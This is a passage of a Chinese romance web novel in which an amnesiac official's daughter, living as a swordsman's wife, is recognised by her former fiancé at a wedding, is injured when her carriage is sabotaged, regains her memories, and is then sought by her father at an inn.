原本冯安也想着是不是自己认错了,眼前这个姑娘只是同傅家大小姐生得相像,毕竟天下那么大,有一两个生得像的也不稀奇。 然目光往世子那双青筋暴起的手背一瞧,冯安觉着似乎应该不是相像的问题了。 世子怎么会认不出仪君小姐呢? 世子连为仪君小姐随手作的画都活灵活现,栩栩如生,又怎会错认? 意识到这一点,冯安心中掀起了狂风暴雨,时刻战战兢兢,不时偷瞄着自家世子的脸色,生怕一向养气功夫很好的世子没忍住发作。 就算旁人不知世子待傅大小姐究竟有几分情意,然他作为世子的近身内侍,自然门清。 主仆两人心思各异,一个比一个僵滞,不敢妄动。 李承钰没有被那少年的目光吓退,反而仍旧执拗地看向那边,看着仪君笑容甜蜜地吃着少年殷勤剥好的虾,好一对璧人。 李承钰知道此刻他不该这样失态,但他实在管控不住自己的那双眼睛。 那个白袍少年又看 了过来,这一次显然不是简单地瞪他了,神情都跟着不善了起来,这无疑是一种很危险的讯号。 冯安一颗心都跟着提起来了,想着劝劝世子,稍安勿躁。 但有人先行劝了,正是云桑。 几只虾下了肚,云桑察觉到那个紫袍公子还在凝着她,一时也有些为难,转脸一看江见脸色臭得吓人,一只手已经按在了桌子上,似乎是想采取一些可怕的行动了。 云桑看着满座宾客,想也不想按住了江见的胳膊,轻声劝道:“你要上天啊,人家新人正拜堂呢,你好歹憋着些。” 被云桑按住,江见犹如泄了气的河豚,还有几分气鼓鼓的。 “可那人也太嚣张了,从没见过那么不知死活的,长安果然不一样,连人胆子都比别的地方的肥!” 带着气,江见恨恨地说着,眼睛里的刀子如果能化作实质,对面的人估计早就千疮百孔了。 此刻有着许多顾忌,江见确实不便做些什么,只暗戳戳地想着等一会趁人不备去把这个不知死活的长安人修理一顿。 但在此之前,他要气死对方。 余光瞥见那道视线还在,江见带了几分心机,故意贴到云桑身上,拿出一副撒娇卖痴的嘴脸,一双晶亮的眸子盯着她道:“娘子我有些饿,想吃你的虾。” 身上猛地贴上来一个炙热蓬勃的躯体,要不是知道是江见,云桑差点都要躲了。 “吃便是,挤我做什么?” 虽然私下里这样的亲昵已经数不过来了,但当着这么多人面还是头一遭,云桑开始脸红,没有推开他,只是嘟囔着。 “我手上都是油,娘子夹给我。” 这便是他的目的了,云桑看着他唇边的笑,也跟着笑起来。 云桑知道,江见肯定是故意的,故意膈应那个紫袍公子,云桑也愿意惯着他这些小心思,把碗里的虾仁全都投喂给了他。 云桑不用去看也知这厮必定神采飞扬,没了人样。 大概是今日的肉菜吃多了,被腻到的云桑喝了许多热饮,此刻有些发威了。 “你先吃着,我去方便一下。” 指了上官家一个婢女,云桑就要跟着去净房,余光就瞥见江见追了上来。 “我同娘子一道去。” 像个大大的跟屁虫,哪里都要黏着她。 瞥见那个婢女面上浅浅的笑,云桑羞煞道:“这你也要跟啊?” 江见环着双臂,满脸认真道:“我真去。” 江见不饮酒,但也不喜苦涩没滋味的茶水,便也跟着饮了许多热酪浆,此刻一听云桑念叨,也有了感觉。 “好吧。” 婢女抿着唇低头在前面带路,心觉这对小夫妻恩爱又有趣。 又是目睹了些让人不痛快的,李承钰难看的脸色已经完全遮掩不住了,甚至连一旁上来客套巴结的宾客也懒得敷衍,全是让冯安打发了下去。 见人走了,李承钰按捺住心神,给了冯安一个眼神。 冯安立即福至心灵,去打探消息了。 不一会,冯安回来,将上官家仆从嘴里透露出来的零星消息带了回来。 “说是那少年姓江,姑娘姓云,是刚成婚的夫妻。” 听那些婢女说得振振有词,冯安如今又怀疑起来了,是不是真的只是模样相像,其实不是仪君小姐? 名不对,也不认得世子,这说不通啊! 但世子却不那么认为,仍旧固执地反驳:“不可能,她不姓云的。” “正好,我要去问问她。” 李承钰就要起身,大有一副要追上去跟人家对峙一番的架势。 冯安不知想到什么,立即上去阻拦,神色惊惶。 “世子使不得,那少年是个江湖剑客,先前世子惹怒了他,江湖人士不比常人,若是提剑伤了世子奴婢可担待不起,世子还请从长计议,是与不是,只消一问傅相公便知。” 李承钰静默了几息,不知是真怕了那剑客少年无礼还是想到了别的什么,同主家告知一声,留一仆盯着,转头离了上官家,往尚书台去了。 江见刚解开裤带,旁边位置就出现一团刺眼的火红,定睛一看正是今日的新郎官。 “呦,江见你也在呢,正好,一道呕~” 显然,上官朔喝多了,脸红脖子粗不说,身子更是不消酒力,来净房喘息来了。 话没说完,又是一阵狂吐,惹得江见频频皱眉,若不是正正进行着大事,他非得跳开来。 “不能喝还喝这多么,自作自受。” 屏住呼吸,江见埋汰上官朔道。 刚吐爽利的上官朔反而笑着道:“你懂什么,娶媳妇的酒,怎么都要喝下去的,你不会娶弟妹的时候没喝一滴吧?” 上官朔笑得太过刺眼,江见莫名品出了些嘲笑的意味,有些不开心,想反驳来着,然这话正好噎住了江见,因为他根本就还没来得及同娘子举办婚仪,但此刻说出来却是在上官朔面前落了下风,他含糊敷衍道:“怎么都比你强。” 事办完了,江见系好裤带便要离开,还没出净房门,就被上官朔急吼吼地从后面追上拽住了。 “好兄弟先等等~” 想来是有些推心置腹的话还没说出来,上官朔生怕人跑了,手都是扯在江见腰间蹀躞带上的,勒得江见都想回头揍他两拳。 “又干嘛,想吐回去吐,拽我干嘛,我还要回去等我娘子呢。” 虽然娘子在这事上一直都慢吞吞的,但江见还是喜欢过去等着,让娘子一出来就看见他。 “别急啊,兄弟真有事讨教!” 上官朔顺势揽住江见的肩膀,虽然有些许吃力,但好歹还是成功了。 虽然相交不久,但上官朔知晓这人的性子,就好比初遇那次,嘴上骂骂咧咧说他麻烦,但却是将那些个凶恶山匪一个个收拾了救了他的性命。 第二次差不多,自己为了采一株生长在悬崖边上的雪莲,失足滚下了山崖,还是江见一边嫌弃一边将他背出去的。 回药王谷一问,师父同江见的师父竟也相识,真是一场缘分。 “今夜是我的新婚之夜,虽然兄弟我是个大夫,也提前研读了一番,但终究是个没入门的,就想向你请教一下。” 江见不明所以,转过脸道:“请教什么?” 他甚至没怎么听懂上官朔的话,更不知他要请教些什么。 上官朔眉头一蹙,不知江见是真傻还是装傻,他都说得这么明白了,他还摆出这副模样。 怪哉。 “洞房啊,生小娃娃的事,你肯定比我懂得多。” “听说许多男子上来便会失手,在新娘子面前丢大人,江见你有什么好建议不丢人吗?” 虽然上官朔也对自己有自信,但只是自我感觉,到时什么模样他还真不敢保证,还是向好兄弟取取经吧。 江见这下听明白了,原是为着生娃娃的小事,但他还是想不通有什么可担心的,只上下打量了上官朔一眼,再度埋汰道:“这有什么好请教的,两人往一个被窝里一躺睡一夜不就好了,这问题问出来你显得你跟个傻子似的。” 劈头盖脸就挨了一顿骂,待上官朔刚想发火的时候,忽地意识到了什么,将江见里里外外打量了个彻底,尤其在脐下三寸停留了几息,没忍住就笑了出来。 “嘿嘿嘿~” 被上官朔那诡异的笑声搞得浑身难受,江见抖擞了一下怼开了他,不悦道:“笑什么傻子?” 笑够了,上官朔发了发慈悲,双手将腰一插,温柔笑道:“我是不是傻子另当别论,你却是实打实的蠢蛋。” 第58章 第 58 章 真相 解决了宴席上饮多了的热饮, 云桑通身畅快,推开净房门,虽空气有些冷, 但胜在清新, 嗯, 还夹杂着些药香味。 本以为能在树下看到等待她的江见,毕竟他那速度可比她快多了。 然一眼扫过去, 树下却是空空如也,四下除了陪着来的青衣婢女没有任何人。 奇了, 江见这回竟这样慢,莫不是突然闹肚子了? 无妨, 那这次自己便好好等一等吧。 树下有块干净的青石,云桑欲在那坐着等候。 秋风飒飒,青石面上凉意沁透衣裙, 让云桑屁股有些发凉,好在才坐了一小会, 就看见江见从男客净房出来了。 身后还跟着一身新郎喜袍的上官大夫, 只是上官大夫的目光莫名有些怪异,云桑看不太懂。 “我先回去了江见, 不用感谢我, 记得对弟妹温柔些。” 又留下些让云桑摸不着头脑的话,上官大夫一溜烟跑了, 看上去特别开心。 不会是江见这人在净房里说笑话逗他了吧? 云桑胡乱猜测,又觉得不可能,江见虽性子活泼好动,但不是谁都愿意去捧着的,尤其还是对一个同龄男子说些逗趣笑话。 目送大红喜袍的上官大夫消失, 云桑将目光落在正向她走来的江见身上。 他哪里有些不对劲,似乎笑了,又好笑没笑,跟往常见着她便灿烂得跟朵花的姿态不一样。 “江见你这次怎么这么慢,居然比我还慢呢。” 主动攀上他的臂膀,少女笑颜如花,本该是最能勾着他目光的,但经过上官朔一番启蒙,江见有了更好奇的地方,恨不得立即查看一番。 “请教了上官朔一些事情,耽误了些时间。” 少年话语幽幽,神色看上去也十分正经,扶在云桑肩头的手指有一搭没一搭地摩挲着,让云桑觉得酥酥麻麻的。 “请教了些什么?” 不会是药理方面的学问吧,云桑暗自想着,觉得很有可能。 “回去的路上再与你细说,现在不是时候。” 一向直言不讳的江见却学会了卖关子,云桑讶然地瞧了他一眼,心想待会江见要说的话肯定有听头。 两人跟着婢女又回到了席位上,江见往对面席位上瞥了一眼后满意了,因为方才那个目光大胆的紫袍公子已经离开了。 “算他小子跑得快。” 江见暗自嘀咕着,心中既满意他的识趣又遗憾没能亲手教他做人。 宴席散,新郎官还是醉了,被自家兄弟半搀着进了新房。 至于那位金阳县主,云桑从始至终都没看到模样,那红盖头杜绝了一切目光,只知是个身形高挑丰盈的姑娘,上官大夫十分有福气。 从上官大夫家离开前,江见还带出来一本书册,白色封皮的,上面也没有字,看不出是什么。 云桑只以为是什么珍稀的医书,因着师父的缘故特意去讨要的,只开始看了一眼,便没再关注了。 人回来,挽具再次被套上,不知为何流云看起来比平日里焦躁些,许是等饿了,云桑心想。 回去的时候是请了上官家的车夫御车,江见则是懒洋洋地进了车厢,同云桑一道。 也是奇了,自打一上马车,江见便迫不及待掏出了那本不知名的书册,捧着它津津有味地翻看,时不时还要瞄她一眼。 就好像刻苦读书的学子遇到了什么不懂之处,想问夫子又不敢问的反应。 被那双晶亮的眼眸瞥得次数多了,云桑被勾起了好奇心,目光打量着他手里的无名书册,云桑凑过去问道:“你看的究竟是什么东西,难得这么认真。” 在云桑看来,江见虽识文断字,但不是什么爱读书写字的才子,此刻着实有些反常。 听云桑主动搭话问起,江见将书一阖,慷慨地递给云桑道:“好看的东西,娘子也看看。” 云桑不疑有他,江见是个惯会跟她分享好吃好吃好玩东西的性子,听他说好看,云桑下意识往话本子那些东西上猜。 比起什么医书,他像是会看话本的。 轻薄的书页在掌心摊开,云桑只胡乱翻了一页,由于阅读速度过快,等意识到上面都是些什么时,已然来不及了。 像是被烧开的水熏了一脸,云桑原本还白皙的面颊瞬间烧了起来,染上寸寸烟霞。 自打入过红袖招,云桑现在可不是什么都不懂的姑娘,尤其还得忍着羞耻欺瞒江见,这对云桑来说无疑是一桩艰难的事情。 她一点都不喜欢撒谎,但对着江见她被迫满口欺瞒哄骗。 啪! 猛地把书册阖上,云桑被画面上两具白花花的肉.身高难度的动作刺激到了,呼吸急促起来。 “江见你怎么……” 羞恼过头的她下意识就去瞪罪魁祸首,但铺天盖地的情绪在对上那双黑黢黢的眼眸时,犹如遇上冰水的烈火,瞬间被浇熄了。 捏着手里不干不净的书册,云桑咕哝了半天也没冒出一个子来,一颗心在胸腔中乱跳。 江见发现了,还是没发现? “娘子,我已全都知晓了。” 好的,彻底瞒不住了。 马车外人声喧闹,车内却是鸦雀无声,云桑缩在角落像个小鹌鹑,也不敢应答。 她在想江见知道自己一直被哄骗后会是什么反应,愤怒还是愤怒? 毕竟在这样的事上接二连三被人耍弄的滋味可不算好,虽然云桑现在也是愿意和他当一对真夫妻的,然还是怕他愤怒之下回去今夜就将她就地正法了。 云桑骨子里还是比较保守的,希望能和喜欢的人有个正经的婚仪,接受来自四面八方的祝福,最后水到渠成,探索鱼水之欢的神秘快乐。 一只大手伸过来,将被她捏得皱巴巴的书册抢了回去,随意翻动着书页,眼睛直勾勾盯着心虚的少女,话语不辨喜怒。 “娘子是不是一开始就知道夫妻间是如何生小娃娃的,然后瞒着我?” 云桑现在的感知很是矛盾,觉得江见好像生气了,又好像没生气,扑朔迷离的,她只能实话实说。 “不是的,我一开始也不……” 忽然,骏马高昂的嘶鸣声响起,硬生生将云桑软弱无力的话打断,还没等反应过来,马车剧烈震荡,天旋地转。 猝不及防的云桑一头磕在了车壁上,剧痛之下她头脑眩晕,最后一眼看到是江见飞速扑在她身上的一幕。 紧接着她便坠入了无边黑暗。 …… 夜色涌动,点点星火璀璨于皇城中,是官员下职后仆从手里的灯笼。 尚书台近日事忙,李承钰匆匆赶过去也没能立即见到傅允,而是心浮气躁地处理了一堆公务。 李承钰是心急,但也不好意思公然将正在与众多大臣议事的宰辅从政事堂拉出去。 这太无礼,不仅耽误政事,还会让人起疑。 不惜将正在议事的宰辅拉出去都要商讨的事,不是顶顶要紧的国事便是极私人的家事,这样明晃晃地摆在众人面前,不是故意招人吗? 李承钰想清这些,拿出自己浑身的耐心来等待,顺手将零碎的公务处理掉。 这一等漫长地让李承钰觉得过了一个春秋,政事堂那边终于散会了。 然天色也不早了,眼睛差些的官员纷纷让家仆打起了灯笼,徐徐往皇城外,自家的车驾走去。 傅允就是在出政事堂的时候被守株待兔的李承钰拦住的。 未来的翁婿见面,傅允身为从二品的执事官,内廷宦官都要唤一声上辅,又是李承钰未来的岳丈,李承钰自要礼遇恭敬。 “世子。” 议了一天的政务,傅允面色也有些疲惫,更何况还有心事,本没有闲暇与这位不确定还能不能当女婿的英王世子闲叙。 但对方看起来很有兴致,看见他便阔步上来,神情焦急。 “世子。” 傅允看清李承钰的脸,淡笑着轻唤一声。 “傅公,晚辈有一要事急需向傅公求证,还望傅公勿要隐瞒才是。” 人现在在眼皮子底下可不代表日后都能在眼皮子底下,上官家的仆从也说了,人家是来参加家中公子的婚宴的,婚宴毕,怕是就得离开。 他必须抓紧时间才是。 见李承钰这样严肃的姿态,傅允神 色不变,但心中咯噔一下。 不能怨他敏感多疑,如今他正托着一件了不得的大事,这事不仅是傅家的事,也跟英王府有关,世子匆匆来问,傅允很难不忘那上面想。 勿论心田如何波澜,傅允面上仍旧端方肃穆,看不出端倪来。 未来的翁婿二人并行在皇城的甬道上,因为傅允出来的最晚,身边同僚都走得七七八八了,正好方便李承钰问话。 看着夜色中和仪君有几分相似的轮廓,李承钰知晓事态紧急,直接开门见山了。 “敢问傅公,仪君此刻真的在蜀地散心吗?” 当年秦家被章懿太子案牵连,除了嫁出去的女儿外,举家流放二千里,傅家夫人秦氏正是怀胎二月,胎像不稳的时候,听闻家中巨变之后见了红,差点没保住胎儿。 许是因为时常为父兄担惊受怕,孕期身子不大好,快生时,流放岭南的秦家父子死讯传来,秦夫人悲痛之下提前生产,大出血后亡故。 故此,仪君是父亲一手带大的,也是父亲唯一的孩子。 秦夫人亡故后,傅允并未续弦,除了一个女儿外,他余下的生活便是官场庶务,朝政民生。 后来每一个春日,傅允都会让女儿去蜀地祭祀外祖一家,若是表兄得闲了也会一道去。 李承钰不是第一年知道,因此才会疑惑,按着往年的速度,应该早就归家了,可如今都是七月末了,傅家还没有动静传来。 早前问过,傅公只说仪君逗留蜀地散心,就快归家了。 李承钰是有些心急的,因为他们的婚期定在今年的九月十八,虽说还有大概两个月的时间,但他心里还是不大安稳,总觉得哪里有问题。 直到如今看到了一个全新的、不识得他的仪君,李承钰坐不住了。 闻世子果然问道了点子上,傅允心中一紧,然面上还是笑呵呵的淡定模样。 “自然,世子为何发问?” 事到临头,李承钰等来的还是这句老话,他有些气结,一把夺过傅家家仆手里的灯笼,示意他下去。 “我有些话同傅公说,你先退开些。” 这个阵仗,一瞧便不是小事,傅允给了犹豫的家仆一个退下的眼神,严阵以待。 “我今日瞧见仪君了,和一个江湖剑客在一起。” 只短促的一句话,傅允面上的淡然立即褪去,眸光凝滞。 第59章 第 59 章 记忆 秋日的夜晚早没了夏日的和煦, 一阵阵风吹过来,叫人冷得直缩脖子。 两人步履飞快往皇城城门赶去,看模样便是有着十万火急的事。 刚踏出城门, 李承钰便看见冯安和他派出去盯着仪君的仆从在门外一个接一个地转圈圈, 一看便知是遇上了塌天大事。 一看见李承钰出来, 冯安连一旁的傅允都没顾上,立即就哭丧着脸扑到跟前道:“世子不好了, 仪君小姐出事了!” 面色才松动些的傅允立即又沉下了脸,李承钰同样脸色不好。 两匹骏马飞驰在朱雀大街上, 马上的两人耳边都回荡着先前冯安急切的话语。 “午后仪君小姐的车驾出了意外,不仅是车轮被人做了手脚, 竟还有人朝路上撒铁钉,拉车的马儿受惊,车子翻了个底朝天, 仪君小姐也不省人事了!” 李承钰心中气愤不已,他只是离开了那么一会, 便出现这样的事, 早知先将人带回来再找傅公讨说法了。 但事情已经发生了,再懊恼也没用, 李承钰只想着快些找到仪君, 将人带回去好好医治。 冯安说车身碎裂开后人就被那个少年送到医馆去了,妥帖倒是妥帖, 但小小医馆怎能与御医相比? 显然,傅允也考虑到了这一点,让仆从拿着他的鱼符去务本坊悄悄请上官家的大夫了。 这样也不必惊动宫中,医术也能得到保证了。 眼下是要去将人带回来,听说人就已经从医馆出来了, 还昏睡着,被带到了一个叫做长福的小客栈里,二人打听好了方位,策马而去。 夜风呼啸而过,吹得李承钰的颈侧发冷,但他压根注意不到,耳畔还回想着方才一番拉扯过后,傅公娓娓道来的话。 长叹声中透着疲惫与释怀。 “是某钻牛角尖了,告诉世子也无妨,都随世子裁夺,只愿世子听完后能全一全小女的颜面,莫要四散就好。” “仪君每次上路,每隔时日便会寄回一封信,既是为了将沿途的琐事说与某听,也是为了报平安。” “后来第二封信没有按时到达,某也以为是路上有什么事耽搁了,毕竟这事以前也不是没有,但后来,一连七八日都没有等来信件,我有种不好的预感。” 说到这,清瘦的男人话语声有些低迷,让听着话的李承钰有些心惊肉跳。 “然后呢?” 李承钰当时问得急切,心里阵阵打鼓。 “估摸着那时仪君应该到了江州地界,毕竟年年都是这个路线,某遣人追了上去,最后在江州的一处野山上发现了些端倪。” “那里还留着碎得七零八落的马车残片,周遭的乱石上隐隐有干涸的血迹,悬崖边上甚至还挂着香云纱的碎片,那是仪君平日最爱穿的衣料了。” “但那里一具尸身都没有,想来都是被丢在了悬崖下那条湍急的河流中,被冲走了。” “我不信我的女儿就那么死了,我一直怀抱希望在寻觅,可到如今还是一无所获。” 李承钰犹记得傅公说最后一句话时的痛心疾首,如风中残叶。 “傅公勿忧,现在仪君还活着,一切都好。” 只这一句,如春风化雨,扫去了秋日的萧瑟。 …… 云桑这一次的梦境尤为冗长,但清晰而明确,再没有什么含糊遮掩了。 她是个生在长安,长在长安的姑娘。 娘亲在生她时血崩而亡,她被爹爹抚养长大,呵护备至。 她有一个妹妹,是二叔家的,与她从小一起长大,关系不错。 五岁时,她被选为熙宁公主伴读,进宫与诸多皇亲国戚一起读书,举目四望皆是皇子龙孙,抬头低头尽是勋贵子弟。 那时爹爹不放心自己,每每上下学都要接送自己,尽管政务再多。 爹爹虽不是个奢靡享乐的官员,但给她的都是最好的,吃穿所用皆是最好,从不会因为自己习性简朴便让她落在长安其他官家千金后面。 长安贵女皆要学习琴棋书画,插花、焚香、点茶这等上流风雅之事,爹爹也没有要求过,只在读书上会时不时教导,因为爹爹说读书不是男子独有的,只是眼下的世道女子读了书也没法像男子一样考取功名,为官治世,但书可明理明智,使人明彻通达。 纵然爹爹由着她性子,她也不会因为自己让爹爹丢了颜面。 身处这样的圈子,时常避免不了这些风雅技艺,若什么都不会,只当个躺平的咸鱼,是会让爹爹被人说嘴,笑话爹爹养出了一个小草包的。 爹爹何其出众的才子,为官上又是赞誉无数,她怎么能扯爹爹的后腿呢。 因而,除了读书上用心外,她在其他方面也没少下功夫,都做得不错。 时长安人喜奏琵琶,她却兴致缺缺,由着喜好选了月琴,倒也学得有模有样。 随着长大,她初绽芳华,引得长安无数勋贵人家前来说媒提亲。 彼时她才十四岁,爹爹一直以闺女还小,晚几年再说亲,其实她知道,爹爹只是没瞧上那些个人家的儿郎,觉得这也不好那也不好,都不配她罢了。 但很快,爹爹便等来了一个他觉得好的儿郎,那人她也认得,正是同她一道在皇宫读书的一位皇孙,英王家的世子,李承钰。 爹爹对他赞不绝口,她也觉得对方看起来是个无可挑剔的好儿郎,既然爹爹如此看好他,那她自然也是没有什么不愿的,没有丝毫犹豫就点头。 从那以后,她 便有了一个未婚夫,一个满长安都赞誉的如玉郎君。 再然后,十七岁初春,她照例去蜀地替亡母祭祀外祖,行至走过多次的山岭,遇到了一伙山匪。 说是山匪,但云桑知道他们压根不是,他们不图钱财,只是单纯来刺杀她的。 对方为杀她下了血本,傅家护卫终究不敌,她趁乱被逼下了悬崖,落入悬崖前,她拼命扯下了为首之人的面巾,想着到了地府也要知道是什么人要害她性命。 结果看到了一张熟悉的脸,是二婶那个看起来同样憨厚的弟弟,蒋琥。 再然后,她的世界便陷入一片寂静与黑暗。 再次睁开眼,茫然无措的她遇上了江见,那个如山间野草般无拘的少年。 她想起来了,她是傅仪君,是英王世子李承钰的未婚妻。 但同时,她也是云桑,是与江见许诺过终身的娘子。 …… 傅允和李承钰披着夜色匆匆赶到了那个叫做长福的小客栈,神色严肃又激动。 这个时辰,各家店铺都打烊了,这间小客栈也是如此,两扇门闭得紧紧的。 但这并不能阻拦傅允两人,也不犹豫,迈步过去就敲门,动作虽不粗蛮,但频率足够焦灼。 “开门!” 吹了一路的风,加上心里火气旺,傅允嗓音有些发哑。 “来了~” 连着敲了好一阵,里面传来了刻意压低的应声,想必是怕吵着客栈里已经歇息的客人。 “对不住,本舍今日已经客满了,麻烦客人还是换一家客舍投宿吧。” 门刚开了个缝隙,就是小伙计赔着笑的话语,毕竟房间满了,这钱他们想赚也赚不到了。 背着光,伙计没看清来人的面容,也没看清来人身上三品众臣才有资格所服的紫袍。 傅允刚得知女儿的消息,哪里有空闲回去换衣裳,飞一般就过来了,只希望世子说的都是真的,他要立刻带囡囡回去。 “某不住宿,只找人,十分要紧,还望店家行个方便。” 就算是十万火急,傅允仍旧没有毫无礼数地强闯进去,而是温和地询问。 就连身后跟着一道来的李承钰都差点没忍住直接踏进去,一看傅公如此端肃,也只好耐心立着。 小伙计对这话有些为难,这大夜里的,找人这事若动静大些,不知要惊动多少客人。 况且被找的客人与眼前人什么关系都尚未搞清,若是一桩麻烦事可就糟了。 小伙计打起精神,将手里的烛台往前端了端,刚想再推拒一番让明日白天过来,倏然间看清了眼前人周身的打扮。 印着雀衔瑞草的锦缎紫袍,腰间金玉革带中别着一只象牙笏,脚蹬乌皮六合靴,虽没瞧见该有的金鱼袋,但这样的装束已经说明了一切。 在长安这地界,如果有人不知死活地冒充三品大员,那只能说他活腻歪了。 刚要说出口的话噎在了嗓子眼里,裹着寒气的秋夜中,小伙计额上凝了一层薄汗,也没空擦,整个人都局促了起来。 “还请上官进屋稍待,我去将我们东家请出来。” 今日很巧,东家恰巧睡在后院,小伙计一下便有了主心骨,将房门打开,让贵客进门。 紧接着小伙计就看到后面还有一人,是个年轻的公子,一瞧眉眼,顿时将人认出来了。 他虽是一介庶民,但也是在长安生长了十多年的光景,总有能瞧见权贵的时候。 这位英王世子,便是他曾经于长街上见过的,眉眼俊俏,通身都散发着矜贵。 “快去。” 不等他发愣,就听那位上官发了话,小伙计急忙去后院叫人了。 两人耐心地等着,毕竟客栈再小也有几十间房,若是没有指引,他们一时间也不知人在哪,总不能一间间去翻找。 不一会,长福客栈的东家草草披着衣裳就来了,远远瞧见两位贵客就开始作揖,神色惊惶开口:“不知上官入夜前来所为何事?” 胡掌柜只听了一耳朵是来找人的,其余一概不知。 傅允又将话重复了一边,还补充了一番女儿的外貌,这让胡掌柜立即就知道是谁了。 “可是今日午后受了伤的那位姑娘?” “正是,可否告知她人在哪一间?” 胡掌柜来不及思索什么,只带着些犹豫回话道:“这是客人的隐私,小人本不应告知的,不知上官所为何事?” 看出了东家的担忧,傅允声音沉稳有力,多年为官的气场也让人不自觉听从。 “掌柜放心,不是来寻麻烦的,也不会惊扰你家客人,某与那客人认识,还请行个方便!” 因为急切,傅允不自觉加重了语气,胡掌柜听了也不敢再犹豫,咬了咬牙道:“请跟小人来。” 既然上官都这样说了,他再拦着岂不是故意作对,胡掌柜是个俗人,自是不敢跟人家犟的。 一路领着人上楼,来到了那对小夫妻的门前,胡掌柜不远不近地候着,以防有什么变故。 到了门前,傅允和李承钰两人都有种近乡情怯的情绪,尤其是傅允,敲门时指尖都在发颤。 房间里,江见千辛万苦,用尽了所有法子将药汁哺进去,自己的嘴还没擦干净,就听见外头敲门声。 仔细听,正是自己这一间。 今日的一切发生的太突然,从娘子受伤到现在,江见分身乏术,只能先一心扑在救治娘子一件事上,待他空出了手,他定会将始作俑者揪出来,千刀万剐。 但前提是他得亲眼看着娘子醒过来,要不然根本放心不下。 出事时,江见将人从碎裂的马车中抱出来,下意识就想去找上官朔,但走到一半想起上官那人已然醉醺醺地,还要去洞房,江见觉得不大妥当,扭头打听了城中医术好的医官,也不管路人多不多,直接轻功赶了过去。 那大夫是个上了年纪的,瞧着十分老道,瞧见他抱着人进来,先前的杂活也不干了,甚至不用他开口说,就跑过来救治了。 不管怎样,这态度让火急火燎的江见心里极安稳。 那屈姓的老大夫说那一下虽是出了些血,但好在不严重,反而将脑袋中的淤血散了大半。 老大夫先是细致轻柔地将云桑额上的伤清理包扎了一下,又施针将最后一点淤血清了出去,开了好些内服外敷的药,等人脉象平稳了些才让江见带回去。 这是江见生平第一次熬药,一步步按着大夫的交代,所幸江见是个擅长庖厨的,虽是头一次也不在话下。 忙了好半天,药也喂了下去,江见打算去算算账,把那个活腻了的人逮住。 虽然当时走得急,但他注意到了车轮的异样,上面车軎完全掉落,一看就是被人提前松了的。 这样犹嫌不够,还当街撒了铁钉,若是娘子醒来看见流云染血的马蹄,定然会难过。 江见怒极了,因而听到此刻有人敲门也有些烦躁。 怕吵到云桑,江见一声不吭就过去开门了,丝毫不惧外面会有什么隐患。 顶多是客栈的人,再说就算有什么危险,也是对方死得难看。 因为记挂着云桑,江见黑沉着脸,开门时仍是如此,活像个凶阎罗。”敢问仪君是不是……“ 一开门,傅允同李承钰便是看到少年带着几分凶戾的面孔,神色一滞。 虽然早知道了囡囡身边有个少年,如今亲眼瞧见,滋味总是不一般的。 傅允怔了怔,后面李承钰更是神色难看。 “你谁啊,大半夜走错门了吧!” 第60章 第 60 章 归家 江见思绪烦躁, 加之傅允挡住了身后的李承钰,江见一时没看清李承钰的脸,以为是两个走错门的客人, 语气不耐。 更何况他也不认识什么君的, 指定是走错了。 看傅允愣愣的, 江见更是没了耐心,想将门关上, 回去照料娘子。 那老大夫分明说夜里能醒来的,怎的还不醒, 真是急死他了。 然门即将关上时,被傅允挡了回来, 感受到对方明显的阻力,江见眉心一拧,就听对方沉声 问道:“仪君在里面吧?” 没有什么颐指气使, 也没有趾高气扬,但江见偏偏在其中听到了其中的威严和质问。 他忽地笑了笑, 觉得这人更像是犯蠢找错门了, 兴许是大半夜吃醉了酒回来的。 但鼻子动了动,江见却没嗅到任何酒气, 真是奇了。 江见甚至还联想到一种人贩子拐人的法子, 尤其在女子身上用的尤为频繁。 看中了哪个落单的姑娘,一口咬定是丈夫或者兄弟之类的熟人, 借口吵架来哄人,拉拉扯扯地将人拖回去贩卖。 娘子生得好看,一向招些苍蝇臭虫,许是眼下也是如此,不过敢舞到他面前, 真是不知道天高地厚。 江见常年混迹山野民间,不曾接近过勋贵官场,倒是见过些州郡的长官,但未曾见过紫袍官服,一时间也不认得眼前人的官阶,一眼扫过去,只觉得是个富贵体面的。 “吃醉了酒就别乱蹿,这里没你说的什么君,赶快走,我正忙着呢。” 娘子还在里面昏睡着,江见可不想闹出什么大动静。 对江见来说他这一番话已足够客气,既没有骂人也不刻薄,只是语气差了些罢了。 但对傅允,还有本就对江见心怀芥蒂的李承钰来说,无疑于十分无礼,乃至粗蛮。 这让一直在后面养气的李承钰实在憋不住了。 “一派胡言乱语,还敢对傅公如此无礼,狂妄之极!” 不管是出于对朝廷肱骨的敬重,还是出于对未来岳父的维护,李承钰几乎从未这般冒犯过,眼见这个江湖剑客这般不恭敬,李承钰动怒的同时隐约夹杂着看好戏的心思。 任他哪来的小鬼,还未登堂便开罪了阎王,量他都没有好下场。 更何况还是个没名没份的野鬼。 李承钰清寒的目光难掩轻蔑,直直落在了江见身上,也让江见彻底注意到了他。 江见立即就认出来了,不仅是因为记性好,记住了这个胆肥的长安人,也是因为他那张有几分姿色的脸。 呵,差点就撵上他了。 傅允瞥了一眼出声的李承钰,心中微微叹息。 将女儿遭难的事情瞒住,是为了名节,亦是为了这桩在他看来上好的姻缘。 但经过刚才一番思量,傅允想通了许多。 若世子因为囡囡名节有损而嫌弃退婚,就代表世子不是囡囡的好姻缘,二人没有做夫妻的缘分。 若世子待囡囡仍旧一如先前,那他更不必有顾虑,一切随缘罢了。 傅允信任英王一家的人品,亲家做不成好歹还有些交情,不至于背后捅刀子。 想清后,傅允也不拦着李承钰一道跟过来,借此正好看看此子的态度。 愤怒是必然的,傅允理解,全看事态搞清楚后他怎么做了。 “是你啊,白日里我就想修理你来着,不过你跑得太快了,现在倒是敢送上门了?” 其实江见这话也就是吓唬吓唬人,这个档口他可没有心思去收拾情敌,只想着将人打发走了。 不过他还是很诧异这人敢送上门来,果然是长安人,胆子都大一些。 “你放肆。” 李承钰素来的体面和风淡风清都不在了,脸色隐隐有些发青,喘了几口气平复心情,齿间蹦出了这三个字。 三个对江见来说没有丝毫威胁的字眼,冷嗤一声道:“这就放肆了?那你可以来打我啊~” 一番挑衅的话说得气定神闲,听得李承钰好不容易平复的情绪立即又破裂了,身形刚一动,傅允伸手拦住了他。 “世子稍安勿躁。” 安抚好也许马上不是女婿的女婿,傅允目光沉肃地看着门口环胸而立的少年,目光挑剔而不悦。 就好像在看一只野猪。 “你让开,我要进去看仪君。” 身为父亲,没有人再比他有资格进去了,傅允态度强硬了许多。 今夜他一定要把囡囡带回去。 